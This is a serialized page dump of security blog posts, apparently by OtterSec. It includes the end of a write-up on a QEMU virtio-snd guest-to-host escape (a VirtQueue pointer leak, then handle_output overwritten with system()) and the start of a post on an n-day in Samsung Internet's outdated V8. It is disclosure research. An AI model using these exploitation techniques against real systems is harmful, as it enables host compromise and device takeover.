type":23,"tag":134,"props":130557,"children":130558},{"class":136,"line":8677},[130559],{"type":23,"tag":134,"props":130560,"children":130561},{"emptyLinePlaceholder":15},[130562],{"type":28,"value":865},{"type":23,"tag":134,"props":130564,"children":130565},{"class":136,"line":22988},[130566,130570,130574,130578,130582,130586,130590],{"type":23,"tag":134,"props":130567,"children":130568},{"style":264},[130569],{"type":28,"value":123566},{"type":23,"tag":134,"props":130571,"children":130572},{"style":179},[130573],{"type":28,"value":272},{"type":23,"tag":134,"props":130575,"children":130576},{"style":168},[130577],{"type":28,"value":277},{"type":23,"tag":134,"props":130579,"children":130580},{"style":162},[130581],{"type":28,"value":35759},{"type":23,"tag":134,"props":130583,"children":130584},{"style":179},[130585],{"type":28,"value":13225},{"type":23,"tag":134,"props":130587,"children":130588},{"style":162},[130589],{"type":28,"value":123587},{"type":23,"tag":134,"props":130591,"children":130592},{"style":179},[130593],{"type":28,"value":14272},{"type":23,"tag":134,"props":130595,"children":130596},{"class":136,"line":23023},[130597,130601,130605,130609,130613,130617,130621,130625,130629,130633,130637,130641,130645],{"type":23,"tag":134,"props":130598,"children":130599},{"style":179},[130600],{"type":28,"value":123599},{"type":23,"tag":134,"props":130602,"children":130603},{"style":168},[130604],{"type":28,"value":257},{"type":23,"tag":134,"props":130606,"children":130607},{"style":264},[130608],{"type":28,"value":123608},{"type":23,"tag":134,"props":130610,"children":130611},{"style":179},[130612],{"type":28,"value":272},{"type":23,"tag":134,"props":130614,"children":130615},{"style":162},[130616],{"type":28,"value":51570},{"type":23,"tag":134,"props":130618,"children":130619},{"style":179},[130620],{"type":28,"value":13225},{"type":23,"tag":134,"props":130622,"children":130623},{"style":162},[130624],{"type":28,"value":123625},{"type":23,"tag":134,"props":130626,"children":130627},{"style":179},[130628],{"type":28,"value":242},{"type":23,"tag":134,"props":130630,"children":130631},{"style":162},[130632],{"type":28,"value":51570},{"type":23,"tag":134,"props":130634,"children":130635},{"style":179},[130636],{"type":28,"value":13225},{"type":23,"tag":134,"props":130638,"children":130639},{"style":162},[130640],{"type":28,"value":123642},{"type":23,"tag":134,"props":130642,"children":130643},{"style":179},[130644],{"type":28,"value":252},{"type":23,"tag":134,"props":130646,"children":130647},{"style":168},[130648],{"type":28,"value":50367},{"type":23,"tag":134,"props":130650,"children":130651},{"class":136,"line":23031},[130652,130656],{"type":23,"tag":134,"props":130653,"children":130654},{"style":151},[130655],{"type":28,"value":123658},{"type":23,"tag":134,"props":130657,"children":130658},{"style":179},[130659],{"type":28,"value":130660},"(virtio_snd_pcm_status);\n",{"type":23,"tag":134,"props":130662,"children":130663},{"class":136,"line":23039},[130664,130668,130672,130676,130680,130684,130688,130692,130697],{"type":23,"tag":134,"props":130665,"children":130666},{"style":179},[130667],{"type":28,"value":123676},{"type":23,"tag":134,"props":130669,"children":130670},{"style":168},[130671],{"type":28,"value":257},{"type":23,"tag":134,"props":130673,"children":130674},{"style":264},[130675],{"type":28,"value":123685},{"type":23,"tag":134,"props":130677,"children":130678},{"style":179},[130679],{"type":28,"value":272},{"type":23,"tag":134,"props":130681,"children":130682},{"style":151},[130683],{"type":28,"value":54834},{"type":23,"tag":134,"props":130685,"children":130686},{"style":179},[130687],{"type":28,"value":123698},{"type":23,"tag":134,"props":130689,"children":130690},{"style":168},[130691],{"type":28,"value":1586},{"type":23,"tag":134,"props":130693,"children":130694},{"style":179},[130695],{"type":28,"value":130696}," size);",{"type":23,"tag":134,"props":130698,"children":130699},{"style":141},[130700],{"type":28,"value":130701},"    // [1]\n",{"type":23,"tag":134,"props":130703,"children":130704},{"class":136,"line":23048},[130705,130709,130713,130717,130721],{"type":23,"tag":134,"props":130706,"children":130707},{"style":162},[130708],{"type":28,"value":123715},{"type":23,"tag":134,"props":130710,"children":130711},{"style":179},[130712],{"type":28,"value":13225},{"type":23,"tag":134,"props":130714,"children":130715},{"style":162},[130716],{"type":28,"value":51570},{"type":23,"tag":134,"props":130718,"children":130719},{"style":168},[130720],{"type":28,"value":171},{"type":23,"tag":134,"props":130722,"children":130723},{"style":179},[130724],{"type":28,"value":123732},{"type":23,"tag":134,"props":130726,"children":130727},{"class":136,"line":23090},[130728,130732,130736,130740,130744,130749],{"type":23,"tag":134,"props":130729,"children":130730},{"style":162},[130731],{"type":28,"value":123715},{"type":23,"tag":134,"props":130733,"children":130734},{"style":179},[130735],{"type":28,"value":13225},{"type":23,"tag":134,"props":130737,"children":130738},{"style":162},[130739],{"type":28,"value":123384},{"type":23,"tag":134,"props":130741,"children":130742},{"style":168},[130743],{"type":28,"value":171},{"type":23,"tag":134,"props":130745,"children":130746},{"style":179},[130747],{"type":28,"value":130748}," vq;",{"type":23,"tag":134,"props":130750,"children":130751},{"style":141},[130752],{"type":28,"value":130753},"                                            // [2]\n",{"type":23,"tag":134,"props":130755,"children":130756},{"class":136,"line":23123},[130757,130761,130765,130769,130773,130777],{"type":23,"tag":134,"props":130758,"children":130759},{"style":162},[130760],{"type":28,"value":123715},{"type":23,"tag":134,"props":130762,"children":130763},{"style":179},[130764],{"type":28,"value":13225},{"type":23,"tag":134,"props":130766,"children":130767},{"style":162},[130768],{"type":28,"value":123772},{"type":23,"tag":134,"props":130770,"children":130771},{"style":168},[130772],{"type":28,"value":171},{"type":23,"tag":134,"props":130774,"children":130775},{"style":205},[130776],{"type":28,"value":208},{"type":23,"tag":134,"props":130778,"children":130779},{"style":179},[130780],{"type":28,"value":182},{"type":23,"tag":134,"props":130782,"children":130783},{"class":136,"line":23131},[130784,130788,130792,130796,130800,130804],{"type":23,"tag":134,"props":130785,"children":130786},{"style":162},[130787],{"type":28,"value":123715},{"type":23,"tag":134,"props":130789,"children":130790},{"style":179},[130791],{"type":28,"value":13225},{"type":23,"tag":134,"props":130793,"children":130794},{"style":162},[130795],{"type":28,"value":13369},{"type":23,"tag":134,"props":130797,"children":130798},{"style":168},[130799],{"type":28,"value":171},{"type":23,"tag":134,"props":130801,"children":130802},{"style":205},[130803],{"type":28,"value":208},{"type":23,"tag":134,"props":130805,"children":130806},{"style":179},[130807],{"type":28,"value":182},{"type":23,"tag":134,"props":130809,"children":130810},{"class":136,"line":23139},[130811,130815,130819,130823,130827,130831,130835],{"type":23,"tag":134,"props":130812,"children":130813},{"style":264},[130814],{"type":28,"value":123819},{"type":23,"tag":134,"props":130816,"children":130817},{"style":179},[130818],{"type":28,"value":272},{"type":23,"tag":134,"props":130820,"children":130821},{"style":168},[130822],{"type":28,"value":277},{"type":23,"tag":134,"props":130824,"children":130825},{"style":162},[130826],{"type":28,"value":35759},{"type":23,"tag":134,"props":130828,"children":130829},{"style":179},[130830],{"type":28,"value":13225},{"type":23,"tag":134,"props":130832,"children":130833},{"style":162},[130834],{"type":28,"value":123840},{"type":23,"tag":134,"props":130836,"children":130837},{"style":179},[130838],{"type":28,"value":130839},", buffer, entry);\n",{"type":23,"tag":134,"props":130841,"children":130842},{"class":136,"line":23148},[130843],{"type":23,"tag":134,"props":130844,"children":130845},{"style":179},[130846],{"type":28,"value":524},{"type":23,"tag":24,"props":130848,"children":130849},{},[130850,130851,130856,130858,130863,130865,130870,130872,130878],{"type":28,"value":123894},{"type":23,"tag":92,"props":130852,"children":130854},{"className":130853},[],[130855],{"type":28,"value":123900},{"type":28,"value":130857},", QEMU allocates a ",{"type":23,"tag":92,"props":130859,"children":130861},{"className":130860},[],[130862],{"type":28,"value":124037},{"type":28,"value":130864}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":92,"props":130866,"children":130868},{"className":130867},[],[130869],{"type":28,"value":123935},{"type":28,"value":130871}," it stores the ",{"type":23,"tag":92,"props":130873,"children":130875},{"className":130874},[],[130876],{"type":28,"value":130877},"VirtQueue *vq",{"type":28,"value":130879}," pointer into the buffer.",{"type":23,"tag":24,"props":130881,"children":130882},{},[130883,130884,130890],{"type":28,"value":63725},{"type":23,"tag":92,"props":130885,"children":130887},{"className":130886},[],[130888],{"type":28,"value":130889},"VirtQueue",{"type":28,"value":130891}," structure contains some useful fields:",{"type":23,"tag":87,"props":130893,"children":130895},{"code":130894,"language":315,"meta":7,"className":15985,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[130896],{"type":23,"tag":92,"props":130897,"children":130898},{"__ignoreMap":7},[130899,130911,130918,130925,130932,130940,130957,130964,130971],{"type":23,"tag":134,"props":130900,"children":130901},{"class":136,"line":137},[130902,130906],{"type":23,"tag":134,"props":130903,"children":130904},{"style":151},[130905],{"type":28,"value":8864},{"type":23,"tag":134,"props":130907,"children":130908},{"style":179},[130909],{"type":28,"value":130910}," VirtQueue\n",{"type":23,"tag":134,"props":130912,"children":130913},{"class":136,"line":147},[130914],{"type":23,"tag":134,"props":130915,"children":130916},{"style":179},[130917],{"type":28,"value":10346},{"type":23,"tag":134,"props":130919,"children":130920},{"class":136,"line":185},[130921],{"type":23,"tag":134,"props":130922,"children":130923},{"style":179},[130924],{"type":28,"value":104313},{"type":23,"tag":134,"props":130926,"children":130927},{"class":136,"line":221},[130928],{"type":23,"tag":134,"props":130929,"children":130930},{"emptyLinePlaceholder":15},[130931],{"type":28,"value":865},{"type":23,"tag":134,"props":130933,"children":130934},{"class":136,"line":332},[130935],{"type":23,"tag":134,"props":130936,"children":130937},{"style":179},[130938],{"type":28,"value":130939},"    VirtIOHandleOutput handle_output;\n",{"type":23,"tag":134,"props":130941,"children":130942},{"class":136,"line":438},[130943,130948,130952],{"type":23,"tag":134,"props":130944,"children":130945},{"style":179},[130946],{"type":28,"value":130947},"    VirtIODevice ",{"type":23,"tag":134,"props":130949,"children":130950},{"style":168},[130951],{"type":28,"value":1777},{"type":23,"tag":134,"props":130953,"children":130954},{"style":179},[130955],{"type":28,"value":130956},"vdev;\n",{"type":23,"tag":134,"props":130958,"children":130959},{"class":136,"line":466},[130960],{"type":23,"tag":134,"props":130961,"children":130962},{"emptyLinePlaceholder":15},[130963],{"type":28,"value":865},{"type":23,"tag":134,"props":130965,"children":130966},{"class":136,"line":479},[130967],{"type":23,"tag":134,"props":130968,"children":130969},{"style":179},[130970],{"type":28,"value":104313},{"type":23,"tag":134,"props":130972,"children":130973},{"class":136,"line":497},[130974],{"type":23,"tag":134,"props":130975,"children":130976},{"style":179},[130977],{"type":28,"value":16048},{"type":23,"tag":24,"props":130979,"children":130980},{},[130981,130982,130988,130990,130996],{"type":28,"value":16084},{"type":23,"tag":92,"props":130983,"children":130985},{"className":130984},[],[130986],{"type":28,"value":130987},".handle_output",{"type":28,"value":130989}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":92,"props":130991,"children":130993},{"className":130992},[],[130994],{"type":28,"value":130995},".vdev",{"type":28,"value":130997}," is the pointer passed to it as the first argument:",{"type":23,"tag":87,"props":130999,"children":131001},{"code":131000,"language":315,"meta":7,"className":15985,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[131002],{"type":23,"tag":92,"props":131003,"children":131004},{"__ignoreMap":7},[131005,131038,131045,131100,131137,131144,131151,131158,131179,131186,131193,131200],{"type":23,"tag":134,"props":131006,"children":131007},{"class":136,"line":137},[131008,131012,131016,131021,131026,131030,131034],{"type":23,"tag":134,"props":131009,"children":131010},{"style":151},[131011],{"type":28,"value":50550},{"type":23,"tag":134,"props":131013,"children":131014},{"style":151},[131015],{"type":28,"value":50555},{"type":23,"tag":134,"props":131017,"children":131018},{"style":264},[131019],{"type":28,"value":131020}," virtio_queue_notify_vq",{"type":23,"tag":134,"props":131022,"children":131023},{"style":179},[131024],{"type":28,"value":131025},"(VirtQueue ",{"type":23,"tag":134,"props":131027,"children":131028},{"style":168},[131029],{"type":28,"value":1777},{"type":23,"tag":134,"props":131031,"children":131032},{"style":162},[131033],{"type":28,"value":123384},{"type":23,"tag":134,"props":131035,"children":131036},{"style":179},[131037],{"type":28,"value":329},{"type":23,"tag":134,"props":131039,"children":131040},{"class":136,"line":147},[131041],{"type":23,"tag":134,"props":131042,"children":131043},{"style":179},[131044],{"type":28,"value":10346},{"type":23,"tag":134,"props":131046,"children":131047},{"class":136,"line":185},[131048,131052,131056,131060,131064,131069,131073,131078,131082,131087,131091,131096],{"type":23,"tag":134,"props":131049,"children":131050},{"style":189},[131051],{"type":28,"value":11746},{"type":23,"tag":134,"props":131053,"children":131054},{"style":179},[131055],{"type":28,"value":232},{"type":23,"tag":134,"props":131057,"children":131058},{"style":162},[131059],{"type":28,"value":123384},{"type":23,"tag":134,"props":131061,"children":131062},{"style":179},[131063],{"type":28,"value":13225},{"type":23,"tag":134,"props":131065,"children":131066},{"style":162},[131067],{"type":28,"value":131068},"vring",{"type":23,"tag":134,"props":131070,"children":131071},{"style":179},[131072],{"type":28,"value":720},{"type":23,"tag":134,"props":131074,"children":131075},{"style":162},[131076],{"type":28,"value":131077},"desc",{"type":23,"tag":134,"props":131079,"children":131080},{"style":168},[131081],{"type":28,"value":13653},{"type":23,"tag":134,"props":131083,"children":131084},{"style":162},[131085],{"type":28,"value":131086}," vq",{"type":23,"tag":134,"props":131088,"children":131089},{"style":179},[131090],{"type":28,"value":13225},{"type":23,"tag":134,"props":131092,"children":131093},{"style":162},[131094],{"type":28,"value":131095},"handle_output",{"type":23,"tag":134,"props":131097,"children":131098},{"style":179},[131099],{"type":28,"value":14272},{"type":23,"tag":134,"props":131101,"children":131102},{"class":136,"line":221},[131103,131108,131112,131117,131121,131125,131129,131133],{"type":23,"tag":134,"props":131104,"children":131105},{"style":179},[131106],{"type":28,"value":131107},"        VirtIODevice ",{"type":23,"tag":134,"props":131109,"children":131110},{"style":168},[131111],{"type":28,"value":1777},{"type":23,"tag":134,"props":131113,"children":131114},{"style":179},[131115],{"type":28,"value":131116},"vdev ",{"type":23,"tag":134,"props":131118,"children":131119},{"style":168},[131120],{"type":28,"value":257},{"type":23,"tag":134,"props":131122,"children":131123},{"style":162},[131124],{"type":28,"value":131086},{"type":23,"tag":134,"props":131126,"children":131127},{"style":179},[131128],{"type":28,"value":13225},{"type":23,"tag":134,"props":131130,"children":131131},{"style":162},[131132],{"type":28,"value":123370},{"type":23,"tag":134,"props":131134,"children":131135},{"style":179},[131136],{"type":28,"value":182},{"type":23,"tag":134,"props":131138,"children":131139},{"class":136,"line":332},[131140],{"type":23,"tag":134,"props":131141,"children":131142},{"emptyLinePlaceholder":15},[131143],{"type":28,"value":865},{"type":23,"tag":134,"props":131145,"children":131146},{"class":136,"line":438},[131147],{"type":23,"tag":134,"props":131148,"children":131149},{"style":179},[131150],{"type":28,"value":123551},{"type":23,"tag":134,"props":131152,"children":131153},{"class":136,"line":466},[131154],{"type":23,"tag":134,"props":131155,"children":131156},{"emptyLinePlaceholder":15},[131157],{"type":28,"value":865},{"type":23,"tag":134,"props":131159,"children":131160},{"class":136,"line":479},[131161,131166,131170,131174],{"type":23,"tag":134,"props":131162,"children":131163},{"style":162},[131164],{"type":28,"value":131165},"        vq",{"type":23,"tag":134,"props":131167,"children":131168},{"style":179},[131169],{"type":28,"value":13225},{"type":23,"tag":134,"props":131171,"children":131172},{"style":264},[131173],{"type":28,"value":131095},{"type":23,"tag":134,"props":131175,"children":131176},{"style":179},[131177],{"type":28,"value":131178},"(vdev, vq);\n",{"type":23,"tag":134,"props":131180,"children":131181},{"class":136,"line":497},[131182],{"type":23,"tag":134,"props":131183,"children":131184},{"emptyLinePlaceholder":15},[131185],{"type":28,"value":865},{"type":23,"tag":134,"props":131187,"children":131188},{"class":136,"line":518},[131189],{"type":23,"tag":134,"props":131190,"children":131191},{"style":179},[131192],{"type":28,"value":123551},{"type":23,"tag":134,"props":131194,"children":131195},{"class":136,"line":527},[131196],{"type":23,"tag":134,"props":131197,"children":131198},{"style":179},[131199],{"type":28,"value":533},{"type":23,"tag":134,"props":131201,"children":131202},{"class":136,"line":780},[131203],{"type":23,"tag":134,"props":131204,"children":131205},{"style":179},[131206],{"type":28,"value":1098},{"type":23,"tag":24,"props":131208,"children":131209},{},[131210,131212,131217,131219,131224,131226,131232,131234,131239,131240,131245,131247,131252],{"type":28,"value":131211},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":92,"props":131213,"children":131215},{"className":131214},[],[131216],{"type":28,"value":124037},{"type":28,"value":131218}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":92,"props":131220,"children":131222},{"className":131221},[],[131223],{"type":28,"value":123625},{"type":28,"value":131225}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":92,"props":131227,"children":131229},{"className":131228},[],[131230],{"type":28,"value":131231},".vq",{"type":28,"value":131233}," pointer, then follow that pointer to leak ",{"type":23,"tag":92,"props":131235,"children":131237},{"className":131236},[],[131238],{"type":28,"value":130987},{"type":28,"value":15523},{"type":23,"tag":92,"props":131241,"children":131243},{"className":131242},[],[131244],{"type":28,"value":130889},{"type":28,"value":131246}," structure. In our case, that field points to ",{"type":23,"tag":92,"props":131248,"children":131250},{"className":131249},[],[131251],{"type":28,"value":123277},{"type":28,"value":131253},", which gives us QEMU's base address.",{"type":23,"tag":24,"props":131255,"children":131256},{},[131257,131259,131265],{"type":28,"value":131258},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":92,"props":131260,"children":131262},{"className":131261},[],[131263],{"type":28,"value":131264},"system",{"type":28,"value":720},{"type":23,"tag":9072,"props":131267,"children":131269},{"id":131268},"rip-control",[131270],{"type":28,"value":131271},"RIP Control",{"type":23,"tag":24,"props":131273,"children":131274},{},[131275,131277,131282,131284,131290],{"type":28,"value":131276},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":92,"props":131278,"children":131280},{"className":131279},[],[131281],{"type":28,"value":131264},{"type":28,"value":131283},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":92,"props":131285,"children":131287},{"className":131286},[],[131288],{"type":28,"value":131289},"VirtQueue.handle_output",{"type":28,"value":720},{"type":23,"tag":24,"props":131292,"children":131293},{},[131294,131296,131301,131303,131308,131310,131315],{"type":28,"value":131295},"We overwrite ",{"type":23,"tag":92,"props":131297,"children":131299},{"className":131298},[],[131300],{"type":28,"value":130987},{"type":28,"value":131302}," with the address of ",{"type":23,"tag":92,"props":131304,"children":131306},{"className":131305},[],[131307],{"type":28,"value":131264},{"type":28,"value":131309}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":92,"props":131311,"children":131313},{"className":131312},[],[131314],{"type":28,"value":130995},{"type":28,"value":131316}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":24,"props":131318,"children":131319},{},[131320,131322,131328,131330,131336,131338,131344],{"type":28,"value":131321},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":92,"props":131323,"children":131325},{"className":131324},[],[131326],{"type":28,"value":131327},"virtio_queue_notify_vq",{"type":28,"value":131329},", which calls ",{"type":23,"tag":92,"props":131331,"children":131333},{"className":131332},[],[131334],{"type":28,"value":131335},"vq->handle_output(vq->vdev)",{"type":28,"value":131337}," - or, after our overwrites, ",{"type":23,"tag":92,"props":131339,"children":131341},{"className":131340},[],[131342],{"type":28,"value":131343},"system(command)",{"type":28,"value":720},{"type":23,"tag":24,"props":131346,"children":131347},{},[131348,131350,131356,131358],{"type":28,"value":131349},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":92,"props":131351,"children":131353},{"className":131352},[],[131354],{"type":28,"value":131355},"gnome-calculator",{"type":28,"value":131357}," on the host system:\n",{"type":23,"tag":30463,"props":131359,"children":131360},{},[],{"type":23,"tag":131362,"props":131363,"children":131372},"tweet-card",{"author-name":131364,"date":131365,"duration":131366,"handle":131367,"media-mime-type":131368,"media-src":131369,"media-type":131370,"tweet-url":131371},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[131373,131378,131383],{"type":23,"tag":24,"props":131374,"children":131375},{},[131376],{"type":28,"value":131377},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":24,"props":131379,"children":131380},{},[131381],{"type":28,"value":131382},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":24,"props":131384,"children":131385},{},[131386],{"type":28,"value":131387},"Writeup coming next week.",{"type":23,"tag":30463,"props":131389,"children":131390},{},[],{"type":23,"tag":24,"props":131392,"children":131393},{},[131394,131396,131402,131404,131410],{"type":28,"value":131395},"The final exploit, targeting QEMU commit ",{"type":23,"tag":92,"props":131397,"children":131399},{"className":131398},[],[131400],{"type":28,"value":131401},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":131403}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":31,"props":131405,"children":131408},{"href":131406,"rel":131407},"https://github.com/otter-sec/qemu-escape",[35],[131409],{"type":28,"value":47089},{"type":28,"value":720},{"type":23,"tag":24,"props":131412,"children":131413},{},[131414,131416,131423],{"type":28,"value":131415},"Special thanks to ",{"type":23,"tag":31,"props":131417,"children":131420},{"href":131418,"rel":131419},"https://www.willsroot.io/",[35],[131421],{"type":28,"value":131422},"William Liu",{"type":28,"value":131424}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":61,"props":131426,"children":131427},{"id":28425},[131428],{"type":28,"value":18423},{"type":23,"tag":24,"props":131430,"children":131431},{},[131432],{"type":28,"value":131433},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":24,"props":131435,"children":131436},{},[131437],{"type":28,"value":131438},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":2575,"props":131440,"children":131441},{},[131442],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":131444},[131445,131448,131451,131460],{"id":123173,"depth":147,"text":123186,"children":131446},[131447],{"id":123194,"depth":185,"text":123197},{"id":123218,"depth":147,"text":123221,"children":131449},[131450],{"id":123232,"depth":185,"text":123232},{"id":99620,"depth":147,"text":99623,"children":131452},[131453,131454,131455,131456,131457,131458,131459],{"id":125824,"depth":185,"text":125827},{"id":127351,"depth":185,"text":127354},{"id":128145,"depth":185,"text":128148},{"id":128550,"depth":185,"text":128553},{"id":128766,"depth":185,"text":128769},{"id":128972,"depth":185,"text":128975},{"id":131268,"depth":185,"text":131271},{"id":28425,"depth":147,"text":18423},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":131465,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":131466,"description":131467,"date":131468,"author":131469,"image":131472,"isFeatured":15,"onBlogPage":15,"tags":131474,"body":131477,"_type":2586,"_id":141385,"_source":2588,"_file":141386,"_stem":141387,"_extension":2591},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[123169,131470,131471],"jamie","william",{"src":131473,"width":96780,"height":13091},"/posts/mobile-renderer-rce/title.png",[131475,131476],"RCE","mobile",{"type":20,"children":131478,"toc":141365},[131479,131483,131488,131502,131508,131522,131543,131551,131564,131572,131585,131591,131604,131618,131624,131638,131741,131746,131754,131759,131764,131785,131863,131871,131890,131903,131909,131915,131929,132045,132050,132055,132063,132068,132076,132104,132133,132145,132321,132326,132334,132353,132366,132372,132392,132406,132411,132416,132444,132480,132549,132555,132577,132582,132590,132603,132608,132616,132621,132660,132666,132679,132684,132862,132872,132880,132900,132924,132937,132943,132948,133590,133595,133603,133645,135634,135639,135647,135653,135686,135704,135874,135932,135957,136051,136056,136847,136852,136860,136871,138915,138920,138928,138934,138956,138970,138983,138995,139025,139030,139471,139499,139606,139623,139780,139785,139797,140093,140119,140142,140274,140286,140291,140443,140479,140492,140497,140619,140660,140737,140742,141316,141322,141334,141347,141351,141356,141361],{"type":23,"tag":61,"props":131480,"children":131481},{"id":28508},[131482],{"type":28,"value":28511},{"type":23,"tag":24,"props":131484,"children":131485},{},[131486],{"type":28,"value":131487},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":24,"props":131489,"children":131490},{},[131491,131493,131500],{"type":28,"value":131492},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":31,"props":131494,"children":131497},{"href":131495,"rel":131496},"https://cor.team",[35],[131498],{"type":28,"value":131499},"Crusaders of Rust",{"type":28,"value":131501}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":9072,"props":131503,"children":131505},{"id":131504},"finding-the-v8-version",[131506],{"type":28,"value":131507},"Finding the V8 Version",{"type":23,"tag":24,"props":131509,"children":131510},{},[131511,131513,131520],{"type":28,"value":131512},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":31,"props":131514,"children":131517},{"href":131515,"rel":131516},"https://developer.android.com/tools/adb",[35],[131518],{"type":28,"value":131519},"adb",{"type":28,"value":131521}," and inspecting the libraries it shipped with.",{"type":23,"tag":24,"props":131523,"children":131524},{},[131525,131527,131533,131535,131541],{"type":28,"value":131526},"After extracting the APK, we searched the ",{"type":23,"tag":92,"props":131528,"children":131530},{"className":131529},[],[131531],{"type":28,"value":131532},"lib/",{"type":28,"value":131534}," directory for ",{"type":23,"tag":92,"props":131536,"children":131538},{"className":131537},[],[131539],{"type":28,"value":131540},"v8::*",{"type":28,"value":131542}," symbols:",{"type":23,"tag":87,"props":131544,"children":131546},{"code":131545},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[131547],{"type":23,"tag":92,"props":131548,"children":131549},{"__ignoreMap":7},[131550],{"type":28,"value":131545},{"type":23,"tag":24,"props":131552,"children":131553},{},[131554,131556,131562],{"type":28,"value":131555},"Only one file matched our search: ",{"type":23,"tag":92,"props":131557,"children":131559},{"className":131558},[],[131560],{"type":28,"value":131561},"libterrace.so",{"type":28,"value":131563},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":24,"props":131565,"children":131566},{},[131567],{"type":23,"tag":1116,"props":131568,"children":131571},{"alt":131569,"src":131570},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":24,"props":131573,"children":131574},{},[131575,131577,131583],{"type":28,"value":131576},"Surprisingly, this ",{"type":23,"tag":92,"props":131578,"children":131580},{"className":131579},[],[131581],{"type":28,"value":131582},"13.6.233.10",{"type":28,"value":131584}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":9072,"props":131586,"children":131588},{"id":131587},"choosing-the-bug",[131589],{"type":28,"value":131590},"Choosing the Bug",{"type":23,"tag":24,"props":131592,"children":131593},{},[131594,131596,131602],{"type":28,"value":131595},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":92,"props":131597,"children":131599},{"className":131598},[],[131600],{"type":28,"value":131601},"d8",{"type":28,"value":131603}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":24,"props":131605,"children":131606},{},[131607,131609,131616],{"type":28,"value":131608},"Another one was ",{"type":23,"tag":31,"props":131610,"children":131613},{"href":131611,"rel":131612},"https://issuetracker.google.com/issues/443875388",[35],[131614],{"type":28,"value":131615},"CVE-2025-10891",{"type":28,"value":131617}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":61,"props":131619,"children":131621},{"id":131620},"ignition-bytecode-introduction",[131622],{"type":28,"value":131623},"Ignition Bytecode Introduction",{"type":23,"tag":24,"props":131625,"children":131626},{},[131627,131629,131636],{"type":28,"value":131628},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":31,"props":131630,"children":131633},{"href":131631,"rel":131632},"https://v8.dev/blog/ignition-interpreter",[35],[131634],{"type":28,"value":131635},"Ignition",{"type":28,"value":131637}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":87,"props":131639,"children":131641},{"code":131640,"language":30860,"meta":7,"className":30858,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 